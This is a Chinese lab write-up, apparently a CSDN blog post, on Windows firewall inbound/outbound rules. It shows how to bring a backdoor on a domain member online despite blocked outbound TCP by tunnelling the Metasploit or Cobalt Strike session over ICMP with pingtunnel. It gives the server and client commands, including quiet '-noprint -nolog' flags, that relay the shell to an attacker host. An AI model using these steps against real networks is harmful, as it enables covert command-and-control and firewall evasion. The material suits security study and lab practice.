参考：【内网安全】 域防火墙&入站出站规则&不出网隧道上线&组策略对象同步_对公司的邮件服务器建立防火墙规则 入站出战-CSDN博客
单机-防火墙-限制端口出入站
熟悉常见主机配置不出网的方式
1、入站&出站&连接安全
2、域&专用&公网&状态
3、阻止&允许&其他配置
解释一下入站和出站的区别：
入站就是别人来访问我们的主机，也就是正向shell的操作，点那个主机的后门进行运行时，kali需要主动去连接靶机也就是外来的流量，如果把入站的链接关闭就无法连接到
出站就是反向shell，主机需要主动连接kali，如果出站设置了阻止就会阻止这种主动连接的操作。
单机-防火墙-限制协议出入站
熟悉常见主机配置不出网的方式
1、程序&端口&预定义&自定义
2、协议&TCP&UDP&ICMP&L2TP等
自定义入站规则和出站规则，一些防护策略就是这样进行定义的
在主机上使用gpupdate/force实现强制更新组策略
域控-防火墙-组策略不出网上线
背景：
域内用户主机被限制TCP出网，其中规则为出站规则，安全研究者通过入站取得SHELL权限，需要对其进行上线控制。
使用正向连接&隧道技术
隧道技术使用icmp传输：
三个工具：
https://github.com/esrrhs/spp
https://github.com/bdamele/icmpsh
https://github.com/esrrhs/pingtunnel
在两端还是使用TCP但是在网络中传输的数据变成了ICMP协议，在用户主机上面先开启pingtunnel，然后点击生成好的后门，这个后门是连接到用户主机的3333端口，然后前面开启的pingtunnel会将这个3333端口的数据转为icmp发出来到kali上面被pingtunnel服务器接受转为tcp的数据发送到4444端口上
pingtunnel实现icmp隧道技术
背景：主机winser2102R2名为DC作为域控，user1winser2012作为域成员
user1被设置为了阻止所有tcp出站规则
出站tcp被限制
此时考虑使用正向连接方式和隧道技术上线
这里实验使用隧道的方式进行上线
工具地址https://github.com/esrrhs/pingtunnel
在上面下载Windows的release文件和Linux的release文件
然后使用kali生成后门
设置监听
首先验证后门的正常，先把之前设置的防火墙规则关闭，然后尝试上线后门，点击运行后可以看到是没有问题的
然后重新启用防火墙规则，再次尝试上线，点击后门程序并没有成功上线说明规则起作用了
首先生成一个IP地址为127.0.0.1的后门，同时把pingtunnel的Windows程序放入靶机
然后msf的监听端口端口改一下，监听地址直接改为全部
先在kali运行pingtunnel的服务端
./pingtunnel -type server
开启后会自动开始监听所有的icmp流量
然后再靶机上运行pingtunnel的程序
靶机上面运行后门，但是将会话弹到本机的8899端口，运行了pingtunnel后会监听本机的这个端口然后将收到的数据转为icmp协议的数据发到kali上面的pingtunnel服务端，然后服务端又会将数据发送到kali的6666端口，简单来说就是pingtunnel实现了网络传输使用icmp的但抽象来看还是tcp的端到端通信
命令：
pingtunnel.exe -type client -l 127.0.0.1:8899 -s 192.168.1.122 -t 192.168.1.122:6666 -tcp 1 -noprint -nolog 1
pingtunnel链接上了，显示了客户端的IP地址
这个时候在运行后门木马直接上线啦
查看一下靶机端口的情况
CS上线姿势
首先先添加连个监听器，如下，一个设置为127.0.0.1一个设置为cs服务端ip
然后生成监听器为111的后门，选择那个stageless
然后在kali上启动pingtunnel的服务端
./pingtunnel -type server
把前面生成的木马放到靶机上，启动pingtunnel 的客户端
这个设置监听127.0.0.1:8899 也就是后门程序 然后连到服务端192.168.1.122 最后将信号发送到192.168.1.122的5555端口代理tcp协议，我们生成的后门是http的协议，但是http是基于tcp协议的所以一样可以使用
点击木马。可以看到上线成功了
